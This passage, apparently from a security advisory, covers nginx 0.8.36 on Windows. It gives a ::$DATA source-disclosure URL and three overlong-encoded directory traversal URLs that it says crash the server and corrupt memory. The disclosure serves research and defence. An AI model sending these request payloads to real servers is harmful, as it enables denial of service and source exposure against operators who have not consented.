http://[ webserver IP][:port]index.html::$DATA
 
 
Issue 2: (Remote DoS (w/ Memory Corruption))
- Description -
 
nginx 0.8.36 (Windows) does not seem to handle encoded directory traversal attempts properly. The corrupted registers in the crash dump seem to be loaded with damaged path variables.
 
- Technical Details - (Remote DoS)
 
http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%20
 
http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%c0.%c0./%20
 
http://[ webserver IP][:port]/%c0.%c0./%c0.%c0./%20
 
These three attempts will overwrite memory registers with different parts of the internal path based on where they try and traverse to.
